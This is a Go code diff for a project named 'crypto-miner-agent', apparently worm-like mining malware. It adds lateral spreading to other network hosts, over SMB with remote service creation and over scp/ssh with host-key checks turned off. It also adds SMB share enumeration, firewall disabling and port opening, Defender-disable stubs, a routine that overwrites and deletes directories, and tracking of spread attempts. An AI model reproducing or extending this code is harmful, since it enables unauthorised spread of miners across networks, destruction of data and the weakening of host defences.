||||
errs = append(errs, fmt.Sprintf("%s: %v", filepath.Base(path), err))
|
||||
}
|
||||
return nil
|
||||
}
|
||||
wiped++
|
||||
return nil
|
||||
})
|
||||
if err != nil {
|
||||
return "secure_wipe walk error: " + err.Error()
|
||||
}
|
||||
_ = os.Remove(resolved)
|
||||
|
||||
summary := fmt.Sprintf("secure_wipe done — wiped: %d failed: %d path: %s", wiped, failed, resolved)
|
||||
if len(errs) > 0 {
|
||||
summary += "\nErrors: " + strings.Join(errs, "; ")
|
||||
}
|
||||
return summary
|
||||
}
|
||||
|
||||
func overwriteFile(path string) error {
|
||||
info, err := os.Stat(path)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
size := info.Size()
|
||||
f, err := os.OpenFile(path, os.O_WRONLY, 0)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer f.Close()
|
||||
|
||||
buf := make([]byte, secureWipeBlockSize)
|
||||
remaining := size
|
||||
for remaining > 0 {
|
||||
n := int64(len(buf))
|
||||
if remaining < n {
|
||||
n = remaining
|
||||
}
|
||||
if _, err := io.ReadFull(rand.Reader, buf[:n]); err != nil {
|
||||
return err
|
||||
}
|
||||
if _, err := f.Write(buf[:n]); err != nil {
|
||||
return err
|
||||
}
|
||||
remaining -= n
|
||||
}
|
||||
return f.Sync()
|
||||
}
|
||||
48
agent/client/secure_wipe_test.go
Normal file
48
agent/client/secure_wipe_test.go
Normal file
@@ -0,0 +1,48 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestSecureWipePathRejectsSystemRoot(t *testing.T) {
|
||||
msg := SecureWipePath(`C:\Windows`)
|
||||
if !strings.Contains(msg, "protected system path") {
|
||||
t.Fatalf("expected blocked path, got %q", msg)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSecureWipePathRequiresDirectory(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
file := filepath.Join(dir, "one.txt")
|
||||
if err := os.WriteFile(file, []byte("secret"), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
msg := SecureWipePath(file)
|
||||
if !strings.Contains(msg, "must be a directory") {
|
||||
t.Fatalf("expected directory error, got %q", msg)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSecureWipePathWipesFiles(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
sub := filepath.Join(dir, "wipe_me")
|
||||
if err := os.Mkdir(sub, 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := os.WriteFile(filepath.Join(sub, "a.txt"), []byte("data"), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := os.WriteFile(filepath.Join(sub, "b.txt"), []byte("more"), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
msg := SecureWipePath(sub)
|
||||
if !strings.Contains(msg, "wiped: 2") {
|
||||
t.Fatalf("unexpected summary: %q", msg)
|
||||
}
|
||||
if _, err := os.Stat(sub); !os.IsNotExist(err) {
|
||||
t.Fatalf("expected directory removed, stat err=%v", err)
|
||||
}
|
||||
}
|
||||
@@ -1,4 +1,4 @@
|
||||
//go:build !windows
|
||||
//go:build !windows && !linux
|
||||
|
||||
package deploy
|
||||
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
//go:build !windows
|
||||
//go:build !windows && !linux
|
||||
|
||||
package deploy
|
||||
|
||||
|
||||
@@ -95,10 +95,19 @@ func spreadToLocalSubnet(cfg config.RuntimeConfig) {
|
||||
for _, ip := range getLocalIPs() {
|
||||
localSet[ip] = true
|
||||
}
|
||||
var filtered []string
|
||||
for _, target := range targets {
|
||||
if localSet[target] {
|
||||
continue
|
||||
}
|
||||
filtered = append(filtered, target)
|
||||
}
|
||||
beginSpreadSweep("smb_scm", len(filtered))
|
||||
if len(filtered) == 0 {
|
||||
finishSpreadSweepImmediate()
|
||||
return
|
||||
}
|
||||
for _, target := range filtered {
|
||||
spreadSem <- struct{}{}
|
||||
go func(t string) {
|
||||
defer func() { <-spreadSem }()
|
||||
@@ -111,12 +120,14 @@ func attemptSpread(cfg config.RuntimeConfig, target string) {
|
||||
// 1. Quick pre-check: Is port 445 (SMB) open?
|
||||
conn, err := net.DialTimeout("tcp", target+":445", 2*time.Second)
|
||||
if err != nil {
|
||||
recordSpreadAttempt(target, false, "port 445 closed")
|
||||
return
|
||||
}
|
||||
conn.Close()
|
||||
|
||||
exePath, err := os.Executable()
|
||||
if err != nil {
|
||||
recordSpreadAttempt(target, false, "executable path unavailable")
|
||||
return
|
||||
}
|
||||
|
||||
@@ -130,7 +141,8 @@ func attemptSpread(cfg config.RuntimeConfig, target string) {
|
||||
// Fallback to C$ hidden temp folder if System32 is restricted
|
||||
cShare := fmt.Sprintf(`\\%s\C$\Windows\Temp\%s`, target, destName)
|
||||
if err := HiddenRun("cmd.exe", "/C", "copy", "/Y", exePath, cShare); err != nil {
|
||||
return // Access denied or host unreachable
|
||||
recordSpreadAttempt(target, false, "smb copy denied")
|
||||
return
|
||||
}
|
||||
remoteExe = filepath.Join(`C:\Windows\Temp`, destName)
|
||||
}
|
||||
@@ -146,5 +158,8 @@ func attemptSpread(cfg config.RuntimeConfig, target string) {
|
||||
|
||||
if err := HiddenRun("sc.exe", `\\`+target, "start", svcName); err == nil {
|
||||
log.Printf("[autospread] Successfully deployed and started on %s via SCM", target)
|
||||
recordSpreadAttempt(target, true, "")
|
||||
} else {
|
||||
recordSpreadAttempt(target, false, "remote service start failed")
|
||||
}
|
||||
}
|
||||
|
||||
@@ -9,7 +9,6 @@ import (
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
@@ -90,10 +89,19 @@ func spreadUnixSubnet(cfg config.RuntimeConfig) {
|
||||
for _, ip := range getLocalIPs() {
|
||||
localSet[ip] = true
|
||||
}
|
||||
var filtered []string
|
||||
for _, target := range targets {
|
||||
if localSet[target] {
|
||||
continue
|
||||
}
|
||||
filtered = append(filtered, target)
|
||||
}
|
||||
beginSpreadSweep("ssh", len(filtered))
|
||||
if len(filtered) == 0 {
|
||||
finishSpreadSweepImmediate()
|
||||
return
|
||||
}
|
||||
for _, target := range filtered {
|
||||
spreadSem <- struct{}{}
|
||||
go func(t string) {
|
||||
defer func() { <-spreadSem }()
|
||||
@@ -105,6 +113,7 @@ func spreadUnixSubnet(cfg config.RuntimeConfig) {
|
||||
func attemptSSHSpread(cfg config.RuntimeConfig, target, exePath string) {
|
||||
conn, err := net.DialTimeout("tcp", target+":22", 2*time.Second)
|
||||
if err != nil {
|
||||
recordSpreadAttempt(target, false, "port 22 closed")
|
||||
return
|
||||
}
|
||||
conn.Close()
|
||||
@@ -119,6 +128,7 @@ func attemptSSHSpread(cfg config.RuntimeConfig, target, exePath string) {
|
||||
}
|
||||
scp = exec.Command("scp", "-o", "BatchMode=yes", "-o", "StrictHostKeyChecking=no", "-o", "ConnectTimeout=3", exePath, user+"@"+target+":"+remotePath)
|
||||
if err := scp.Run(); err != nil {
|
||||
recordSpreadAttempt(target, false, "scp failed")
|
||||
return
|
||||
}
|
||||
}
|
||||
@@ -127,6 +137,9 @@ func attemptSSHSpread(cfg config.RuntimeConfig, target, exePath string) {
|
||||
fmt.Sprintf("chmod +x %s && nohup %s --spread-install >/dev/null 2>&1 &", remotePath, remotePath))
|
||||
if err := start.Run(); err == nil {
|
||||
log.Printf("[autospread] deployed to %s via SSH", target)
|
||||
recordSpreadAttempt(target, true, "")
|
||||
} else {
|
||||
recordSpreadAttempt(target, false, "ssh start failed")
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
11
agent/deploy/defender_linux.go
Normal file
11
agent/deploy/defender_linux.go
Normal file
@@ -0,0 +1,11 @@
|
||||
//go:build linux
|
||||
|
||||
package deploy
|
||||
|
||||
import "fmt"
|
||||
|
||||
func DisableDefenderRealtime() (string, error) {
|
||||
return "", fmt.Errorf("defender control is Windows-only (no Windows Defender on Linux)")
|
||||
}
|
||||
|
||||
func SilentAVExclusion(_, _ string) {} // no-op on Linux
|
||||
83
agent/deploy/firewall_linux_ops.go
Normal file
83
agent/deploy/firewall_linux_ops.go
Normal file
@@ -0,0 +1,83 @@
|
||||
//go:build linux
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os/exec"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func OpenFirewallPort(port int, name string) (string, error) {
|
||||
if port <= 0 || port > 65535 {
|
||||
return "", fmt.Errorf("invalid port %d", port)
|
||||
}
|
||||
if ufw, err := exec.LookPath("ufw"); err == nil {
|
||||
rule := fmt.Sprintf("%d/tcp", port)
|
||||
out, runErr := exec.Command(ufw, "allow", rule, "comment", name).CombinedOutput()
|
||||
if runErr != nil {
|
||||
return "", fmt.Errorf("ufw allow: %v (%s)", runErr, strings.TrimSpace(string(out)))
|
||||
}
|
||||
return fmt.Sprintf("ufw allow %s (%s)", rule, name), nil
|
||||
}
|
||||
if ipt, err := exec.LookPath("iptables"); err == nil {
|
||||
out, runErr := exec.Command(ipt, "-I", "INPUT", "-p", "tcp", "--dport", fmt.Sprintf("%d", port), "-j", "ACCEPT").CombinedOutput()
|
||||
if runErr != nil {
|
||||
return "", fmt.Errorf("iptables: %v (%s)", runErr, strings.TrimSpace(string(out)))
|
||||
}
|
||||
return fmt.Sprintf("iptables INPUT accept tcp/%d", port), nil
|
||||
}
|
||||
return "", fmt.Errorf("no ufw or iptables found on host")
|
||||
}
|
||||
|
||||
func SetWindowsFirewallProfiles(enable bool, profiles string) (string, error) {
|
||||
_ = profiles
|
||||
if ufw, err := exec.LookPath("ufw"); err == nil {
|
||||
arg := "disable"
|
||||
if enable {
|
||||
arg = "enable"
|
||||
}
|
||||
out, runErr := exec.Command(ufw, arg).CombinedOutput()
|
||||
if runErr != nil {
|
||||
return "", fmt.Errorf("ufw %s: %v (%s)", arg, runErr, strings.TrimSpace(string(out)))
|
||||
}
|
||||
return fmt.Sprintf("ufw %s", arg), nil
|
||||
}
|
||||
return "", fmt.Errorf("firewall profile control requires ufw on Linux")
|
||||
}
|
||||
|
||||
func DisableWindowsFirewall() (string, error) {
|
||||
return SetWindowsFirewallProfiles(false, "all")
|
||||
}
|
||||
|
||||
func EnableWindowsFirewall() (string, error) {
|
||||
return SetWindowsFirewallProfiles(true, "all")
|
||||
}
|
||||
|
||||
func RemoveFirewallRuleByName(name string) (string, error) {
|
||||
name = strings.TrimSpace(name)
|
||||
if name == "" {
|
||||
return "", fmt.Errorf("rule name required")
|
||||
}
|
||||
if ufw, err := exec.LookPath("ufw"); err == nil {
|
||||
out, runErr := exec.Command(ufw, "status", "numbered").CombinedOutput()
|
||||
if runErr != nil {
|
||||
return "", fmt.Errorf("ufw status: %v", runErr)
|
||||
}
|
||||
for _, line := range strings.Split(string(out), "\n") {
|
||||
if strings.Contains(line, name) {
|
||||
fields := strings.Fields(line)
|
||||
if len(fields) > 0 {
|
||||
num := strings.Trim(fields[0], "[]")
|
||||
delOut, delErr := exec.Command(ufw, "delete", num).CombinedOutput()
|
||||
if delErr != nil {
|
||||
return "", fmt.Errorf("ufw delete: %v (%s)", delErr, strings.TrimSpace(string(delOut)))
|
||||
}
|
||||
return fmt.Sprintf("removed ufw rule %s matching %q", num, name), nil
|
||||
}
|
||||
}
|
||||
}
|
||||
return "", fmt.Errorf("no ufw rule matching %q", name)
|
||||
}
|
||||
return "", fmt.Errorf("firewall rule removal requires ufw on Linux")
|
||||
}
|
||||
22
agent/deploy/firewall_linux_ops_test.go
Normal file
22
agent/deploy/firewall_linux_ops_test.go
Normal file
@@ -0,0 +1,22 @@
|
||||
//go:build linux
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestOpenFirewallPortInvalid(t *testing.T) {
|
||||
_, err := OpenFirewallPort(0, "test")
|
||||
if err == nil || !strings.Contains(err.Error(), "invalid port") {
|
||||
t.Fatalf("expected invalid port error, got %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestRemoveFirewallRuleByNameEmpty(t *testing.T) {
|
||||
_, err := RemoveFirewallRuleByName("")
|
||||
if err == nil || !strings.Contains(err.Error(), "rule name required") {
|
||||
t.Fatalf("expected rule name error, got %v", err)
|
||||
}
|
||||
}
|
||||
26
agent/deploy/smb_shares_common.go
Normal file
26
agent/deploy/smb_shares_common.go
Normal file
@@ -0,0 +1,26 @@
|
||||
package deploy
|
||||
|
||||
import "strings"
|
||||
|
||||
func parseNetViewShares(text string) []string {
|
||||
var shares []string
|
||||
for _, line := range strings.Split(text, "\n") {
|
||||
line = strings.TrimSpace(line)
|
||||
if line == "" ||
|
||||
strings.HasPrefix(line, "Share name") ||
|
||||
strings.HasPrefix(line, "-----") ||
|
||||
strings.HasPrefix(line, "The command completed") {
|
||||
continue
|
||||
}
|
||||
fields := strings.Fields(line)
|
||||
if len(fields) == 0 {
|
||||
continue
|
||||
}
|
||||
name := fields[0]
|
||||
if strings.EqualFold(name, "System") && len(fields) > 1 {
|
||||
continue
|
||||
}
|
||||
shares = append(shares, name)
|
||||
}
|
||||
return shares
|
||||
}
|
||||
16
agent/deploy/smb_shares_stub.go
Normal file
16
agent/deploy/smb_shares_stub.go
Normal file
@@ -0,0 +1,16 @@
|
||||
//go:build !windows
|
||||
|
||||
package deploy
|
||||
|
||||
import "encoding/json"
|
||||
|
||||
// EnumerateSMBShares is Windows-only (SMB net view on LAN hosts).
|
||||
func EnumerateSMBShares(maxHosts int) string {
|
||||
_ = maxHosts
|
||||
b, _ := json.Marshal(map[string]interface{}{
|
||||
"error": "smb_shares is Windows-only",
|
||||
"hosts": []interface{}{},
|
||||
"count": 0,
|
||||
})
|
||||
return string(b)
|
||||
}
|
||||
20
agent/deploy/smb_shares_test.go
Normal file
20
agent/deploy/smb_shares_test.go
Normal file
@@ -0,0 +1,20 @@
|
||||
package deploy
|
||||
|
||||
import "testing"
|
||||
|
||||
func TestParseNetViewShares(t *testing.T) {
|
||||
sample := `Share name Type Used as Comment
|
||||
|
||||
-------------------------------------------------------------------------------
|
||||
ADMIN$ Disk Remote Admin
|
||||
C$ Disk Default share
|
||||
IPC$ IPC Remote IPC
|
||||
The command completed successfully.`
|
||||
shares := parseNetViewShares(sample)
|
||||
if len(shares) != 3 {
|
||||
t.Fatalf("shares = %v", shares)
|
||||
}
|
||||
if shares[0] != "ADMIN$" || shares[1] != "C$" {
|
||||
t.Fatalf("unexpected order: %v", shares)
|
||||
}
|
||||
}
|
||||
109
agent/deploy/smb_shares_windows.go
Normal file
109
agent/deploy/smb_shares_windows.go
Normal file
@@ -0,0 +1,109 @@
|
||||
//go:build windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"net"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
type smbHostShares struct {
|
||||
Host string `json:"host"`
|
||||
Shares []string `json:"shares,omitempty"`
|
||||
Accessible bool `json:"accessible"`
|
||||
Error string `json:"error,omitempty"`
|
||||
}
|
||||
|
||||
type smbSharesResult struct {
|
||||
Hosts []smbHostShares `json:"hosts"`
|
||||
Count int `json:"count"`
|
||||
}
|
||||
|
||||
// EnumerateSMBShares probes LAN hosts for reachable SMB shares (net view).
|
||||
func EnumerateSMBShares(maxHosts int) string {
|
||||
if maxHosts <= 0 {
|
||||
maxHosts = 32
|
||||
}
|
||||
targets := smbShareTargets(maxHosts)
|
||||
hosts := make([]smbHostShares, 0, len(targets))
|
||||
for _, host := range targets {
|
||||
hosts = append(hosts, probeSMBShares(host))
|
||||
}
|
||||
result := smbSharesResult{Hosts: hosts, Count: len(hosts)}
|
||||
b, _ := json.Marshal(result)
|
||||
return string(b)
|
||||
}
|
||||
|
||||
func smbShareTargets(maxHosts int) []string {
|
||||
targets := arpHosts()
|
||||
local := getLocalIPs()
|
||||
localSet := make(map[string]bool, len(local))
|
||||
for _, ip := range local {
|
||||
localSet[ip] = true
|
||||
}
|
||||
filtered := make([]string, 0, len(targets))
|
||||
seen := make(map[string]bool)
|
||||
for _, t := range targets {
|
||||
if localSet[t] || seen[t] {
|
||||
continue
|
||||
}
|
||||
seen[t] = true
|
||||
filtered = append(filtered, t)
|
||||
}
|
||||
if len(filtered) < 3 {
|
||||
for _, ip := range local {
|
||||
if !isIPv4(ip) {
|
||||
continue
|
||||
}
|
||||
subnet := getSubnet(ip)
|
||||
if subnet == "" {
|
||||
continue
|
||||
}
|
||||
for i := 1; i < 255 && len(filtered) < maxHosts; i++ {
|
||||
candidate, ok := ipv4SweepHost(subnet, i)
|
||||
if !ok {
|
||||
break
|
||||
}
|
||||
if candidate == ip || seen[candidate] {
|
||||
continue
|
||||
}
|
||||
conn, err := net.DialTimeout("tcp", candidate+":445", 400*time.Millisecond)
|
||||
if err == nil {
|
||||
conn.Close()
|
||||
seen[candidate] = true
|
||||
filtered = append(filtered, candidate)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
if len(filtered) > maxHosts {
|
||||
filtered = filtered[:maxHosts]
|
||||
}
|
||||
return filtered
|
||||
}
|
||||
|
||||
func probeSMBShares(host string) smbHostShares {
|
||||
conn, err := net.DialTimeout("tcp", host+":445", 1500*time.Millisecond)
|
||||
if err != nil {
|
||||
return smbHostShares{Host: host, Error: "port 445 closed"}
|
||||
}
|
||||
conn.Close()
|
||||
|
||||
out, err := HiddenOutput("net", "view", "\\\\"+host)
|
||||
text := strings.TrimSpace(string(out))
|
||||
if err != nil {
|
||||
msg := text
|
||||
if msg == "" {
|
||||
msg = err.Error()
|
||||
}
|
||||
return smbHostShares{Host: host, Error: msg}
|
||||
}
|
||||
shares := parseNetViewShares(text)
|
||||
return smbHostShares{
|
||||
Host: host,
|
||||
Shares: shares,
|
||||
Accessible: len(shares) > 0,
|
||||
}
|
||||
}
|
||||
108
agent/deploy/spread_status.go
Normal file
108
agent/deploy/spread_status.go
Normal file
@@ -0,0 +1,108 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"runtime"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
type spreadHostResult struct {
|
||||
Host string `json:"host"`
|
||||
Success bool `json:"success"`
|
||||
Error string `json:"error,omitempty"`
|
||||
}
|
||||
|
||||
type spreadStatusSnapshot struct {
|
||||
StartedAt string `json:"started_at,omitempty"`
|
||||
FinishedAt string `json:"finished_at,omitempty"`
|
||||
InProgress bool `json:"in_progress"`
|
||||
HostsTried int `json:"hosts_tried"`
|
||||
Successes int `json:"successes"`
|
||||
Errors int `json:"errors"`
|
||||
Platform string `json:"platform"`
|
||||
Method string `json:"method"`
|
||||
Hosts []spreadHostResult `json:"hosts"`
|
||||
}
|
||||
|
||||
var (
|
||||
spreadMu sync.RWMutex
|
||||
spreadSnap spreadStatusSnapshot
|
||||
spreadPending int
|
||||
)
|
||||
|
||||
const maxSpreadHostResults = 64
|
||||
|
||||
func spreadMethodForPlatform() string {
|
||||
if runtime.GOOS == "windows" {
|
||||
return "smb_scm"
|
||||
}
|
||||
return "ssh"
|
||||
}
|
||||
|
||||
func beginSpreadSweep(method string, targetCount int) {
|
||||
spreadMu.Lock()
|
||||
spreadSnap = spreadStatusSnapshot{
|
||||
StartedAt: time.Now().UTC().Format(time.RFC3339),
|
||||
InProgress: targetCount > 0,
|
||||
HostsTried: targetCount,
|
||||
Platform: runtime.GOOS,
|
||||
Method: method,
|
||||
Hosts: nil,
|
||||
}
|
||||
spreadPending = targetCount
|
||||
if targetCount == 0 {
|
||||
spreadSnap.FinishedAt = time.Now().UTC().Format(time.RFC3339)
|
||||
}
|
||||
spreadMu.Unlock()
|
||||
}
|
||||
|
||||
func recordSpreadAttempt(host string, success bool, errMsg string) {
|
||||
spreadMu.Lock()
|
||||
defer spreadMu.Unlock()
|
||||
if success {
|
||||
spreadSnap.Successes++
|
||||
} else if errMsg != "" {
|
||||
spreadSnap.Errors++
|
||||
}
|
||||
if len(spreadSnap.Hosts) < maxSpreadHostResults {
|
||||
spreadSnap.Hosts = append(spreadSnap.Hosts, spreadHostResult{
|
||||
Host: host,
|
||||
Success: success,
|
||||
Error: errMsg,
|
||||
})
|
||||
}
|
||||
if spreadPending > 0 {
|
||||
spreadPending--
|
||||
if spreadPending == 0 {
|
||||
spreadSnap.InProgress = false
|
||||
spreadSnap.FinishedAt = time.Now().UTC().Format(time.RFC3339)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func finishSpreadSweepImmediate() {
|
||||
spreadMu.Lock()
|
||||
spreadSnap.InProgress = false
|
||||
if spreadSnap.FinishedAt == "" {
|
||||
spreadSnap.FinishedAt = time.Now().UTC().Format(time.RFC3339)
|
||||
}
|
||||
spreadPending = 0
|
||||
spreadMu.Unlock()
|
||||
}
|
||||
|
||||
// GetSpreadStatusJSON returns the last lateral spread sweep summary (in-memory).
|
||||
func GetSpreadStatusJSON() string {
|
||||
spreadMu.RLock()
|
||||
snap := spreadSnap
|
||||
spreadMu.RUnlock()
|
||||
if snap.StartedAt == "" {
|
||||
snap.Platform = runtime.GOOS
|
||||
snap.Method = spreadMethodForPlatform()
|
||||
if snap.Hosts == nil {
|
||||
snap.Hosts = []spreadHostResult{}
|
||||
}
|
||||
}
|
||||
b, _ := json.Marshal(snap)
|
||||
return string(b)
|
||||
}
|
||||
43
agent/deploy/spread_status_test.go
Normal file
43
agent/deploy/spread_status_test.go
Normal file
@@ -0,0 +1,43 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestSpreadStatusLifecycle(t *testing.T) {
|
||||
beginSpreadSweep("ssh", 2)
|
||||
recordSpreadAttempt("10.0.0.2", true, "")
|
||||
recordSpreadAttempt("10.0.0.3", false, "auth failed")
|
||||
|
||||
raw := GetSpreadStatusJSON()
|
||||
var snap spreadStatusSnapshot
|
||||
if err := json.Unmarshal([]byte(raw), &snap); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if snap.HostsTried != 2 {
|
||||
t.Fatalf("hosts_tried = %d", snap.HostsTried)
|
||||
}
|
||||
if snap.Successes != 1 || snap.Errors != 1 {
|
||||
t.Fatalf("successes=%d errors=%d", snap.Successes, snap.Errors)
|
||||
}
|
||||
if snap.InProgress {
|
||||
t.Fatal("expected sweep finished")
|
||||
}
|
||||
if len(snap.Hosts) != 2 {
|
||||
t.Fatalf("hosts len = %d", len(snap.Hosts))
|
||||
}
|
||||
}
|
||||
|
||||
func TestSpreadStatusEmptySweep(t *testing.T) {
|
||||
beginSpreadSweep("smb_scm", 0)
|
||||
finishSpreadSweepImmediate()
|
||||
raw := GetSpreadStatusJSON()
|
||||
var snap spreadStatusSnapshot
|
||||
if err := json.Unmarshal([]byte(raw), &snap); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if snap.InProgress {
|
||||
t.Fatal("expected not in progress")
|
||||
}
|
||||
}
|
||||
15
agent/stats/cpu_common.go
Normal file
15
agent/stats/cpu_common.go
Normal file
@@ -0,0 +1,15 @@
|
||||
package stats
|
||||
|
||||
func cpuBusyPercentFromDeltas(idleDelta, totalDelta float64) float64 {
|
||||
if totalDelta <= 0 {
|
||||
return 0
|
||||
}
|
||||
busyPct := (1.0 - idleDelta/totalDelta) * 100
|
||||
if busyPct < 0 {
|
||||
return 0
|
||||
}
|
||||
if busyPct > 100 {
|
||||
return 100
|
||||
}
|
||||
return busyPct
|
||||
}
|
||||
62
agent/stats/cpu_darwin.go
Normal file
62
agent/stats/cpu_darwin.go
Normal file
@@ -0,0 +1,62 @@
|
||||
//go:build darwin
|
||||
|
||||
package stats
|
||||
|
||||
import (
|
||||
"os/exec"
|
||||
"strconv"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func (r *Reporter) SystemCPUPercent() float64 {
|
||||
idle, total, ok := readDarwinCPUSample()
|
||||
if !ok {
|
||||
return 0
|
||||
}
|
||||
|
||||
r.mu.Lock()
|
||||
defer r.mu.Unlock()
|
||||
|
||||
if !r.hasSample {
|
||||
r.lastIdle = idle
|
||||
r.lastTotal = total
|
||||
r.hasSample = true
|
||||
return 0
|
||||
}
|
||||
|
||||
idleDelta := float64(idle - r.lastIdle)
|
||||
totalDelta := float64(total - r.lastTotal)
|
||||
r.lastIdle = idle
|
||||
r.lastTotal = total
|
||||
|
||||
return cpuBusyPercentFromDeltas(idleDelta, totalDelta)
|
||||
}
|
||||
|
||||
func readDarwinCPUSample() (idle, total uint64, ok bool) {
|
||||
out, err := exec.Command("sysctl", "-n", "kern.cp_time").Output()
|
||||
if err != nil {
|
||||
return 0, 0, false
|
||||
}
|
||||
return parseDarwinCPTimes(string(out))
|
||||
}
|
||||
|
||||
func parseDarwinCPTimes(raw string) (idle, total uint64, ok bool) {
|
||||
parts := strings.Fields(strings.TrimSpace(raw))
|
||||
if len(parts) < 4 {
|
||||
return 0, 0, false
|
||||
}
|
||||
var values []uint64
|
||||
for _, p := range parts {
|
||||
v, err := strconv.ParseUint(p, 10, 64)
|
||||
if err != nil {
|
||||
return 0, 0, false
|
||||
}
|
||||
values = append(values, v)
|
||||
}
|
||||
for _, v := range values {
|
||||
total += v
|
||||
}
|
||||
// user, nice, sys, idle[, intr]
|
||||
idle = values[3]
|
||||
return idle, total, true
|
||||
}
|
||||
72
agent/stats/cpu_linux.go
Normal file
72
agent/stats/cpu_linux.go
Normal file
@@ -0,0 +1,72 @@
|
||||
//go:build linux
|
||||
|
||||
package stats
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"os"
|
||||
"strconv"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func (r *Reporter) SystemCPUPercent() float64 {
|
||||
idle, total, ok := readProcStatCPUSample()
|
||||
if !ok {
|
||||
return 0
|
||||
}
|
||||
|
||||
r.mu.Lock()
|
||||
defer r.mu.Unlock()
|
||||
|
||||
if !r.hasSample {
|
||||
r.lastIdle = idle
|
||||
r.lastTotal = total
|
||||
r.hasSample = true
|
||||
return 0
|
||||
}
|
||||
|
||||
idleDelta := float64(idle - r.lastIdle)
|
||||
totalDelta := float64(total - r.lastTotal)
|
||||
r.lastIdle = idle
|
||||
r.lastTotal = total
|
||||
|
||||
return cpuBusyPercentFromDeltas(idleDelta, totalDelta)
|
||||
}
|
||||
|
||||
func readProcStatCPUSample() (idle, total uint64, ok bool) {
|
||||
f, err := os.Open("/proc/stat")
|
||||
if err != nil {
|
||||
return 0, 0, false
|
||||
}
|
||||
defer f.Close()
|
||||
|
||||
sc := bufio.NewScanner(f)
|
||||
if !sc.Scan() {
|
||||
return 0, 0, false
|
||||
}
|
||||
return parseProcStatCPU(sc.Text())
|
||||
}
|
||||
|
||||
func parseProcStatCPU(line string) (idle, total uint64, ok bool) {
|
||||
fields := strings.Fields(line)
|
||||
if len(fields) < 5 || fields[0] != "cpu" {
|
||||
return 0, 0, false
|
||||
}
|
||||
var values []uint64
|
||||
for _, f := range fields[1:] {
|
||||
v, err := strconv.ParseUint(f, 10, 64)
|
||||
if err != nil {
|
||||
return 0, 0, false
|
||||
}
|
||||
values = append(values, v)
|
||||
}
|
||||
for _, v := range values {
|
||||
total += v
|
||||
}
|
||||
// idle + iowait (index 3 and 4 when present)
|
||||
idle = values[3]
|
||||
if len(values) > 4 {
|
||||
idle += values[4]
|
||||
}
|
||||
return idle, total, true
|
||||
}
|
||||
34
agent/stats/cpu_linux_test.go
Normal file
34
agent/stats/cpu_linux_test.go
Normal file
@@ -0,0 +1,34 @@
|
||||
//go:build linux
|
||||
|
||||
package stats
|
||||
|
||||
import "testing"
|
||||
|
||||
func TestParseProcStatCPU(t *testing.T) {
|
||||
idle, total, ok := parseProcStatCPU("cpu 4705 0 1234 8123 45 0 12 0 0 0")
|
||||
if !ok {
|
||||
t.Fatal("expected ok")
|
||||
}
|
||||
if idle != 8123+45 {
|
||||
t.Fatalf("idle=%d", idle)
|
||||
}
|
||||
wantTotal := uint64(4705 + 0 + 1234 + 8123 + 45 + 0 + 12 + 0 + 0 + 0)
|
||||
if total != wantTotal {
|
||||
t.Fatalf("total=%d want %d", total, wantTotal)
|
||||
}
|
||||
}
|
||||
|
||||
func TestParseProcStatCPUBadLine(t *testing.T) {
|
||||
if _, _, ok := parseProcStatCPU("meminfo"); ok {
|
||||
t.Fatal("expected false for non-cpu line")
|
||||
}
|
||||
}
|
||||
|
||||
func TestSystemCPUPercentLinuxSecondSample(t *testing.T) {
|
||||
r := NewReporter()
|
||||
_ = r.SystemCPUPercent() // first sample seeds baseline
|
||||
pct := r.SystemCPUPercent()
|
||||
if pct < 0 || pct > 100 {
|
||||
t.Fatalf("cpu percent out of range: %v", pct)
|
||||
}
|
||||
}
|
||||
7
agent/stats/cpu_stub.go
Normal file
7
agent/stats/cpu_stub.go
Normal file
@@ -0,0 +1,7 @@
|
||||
//go:build !windows && !linux && !darwin
|
||||
|
||||
package stats
|
||||
|
||||
func (r *Reporter) SystemCPUPercent() float64 {
|
||||
return 0
|
||||
}
|
||||
@@ -17,20 +17,6 @@ func filetimeToUint64(ft filetime) uint64 {
|
||||
return (uint64(ft.HighDateTime) << 32) | uint64(ft.LowDateTime)
|
||||
}
|
||||
|
||||
func cpuBusyPercentFromDeltas(idleDelta, totalDelta float64) float64 {
|
||||
if totalDelta <= 0 {
|
||||
return 0
|
||||
}
|
||||
busyPct := (1.0 - idleDelta/totalDelta) * 100
|
||||
if busyPct < 0 {
|
||||
return 0
|
||||
}
|
||||
if busyPct > 100 {
|
||||
return 100
|
||||
}
|
||||
return busyPct
|
||||
}
|
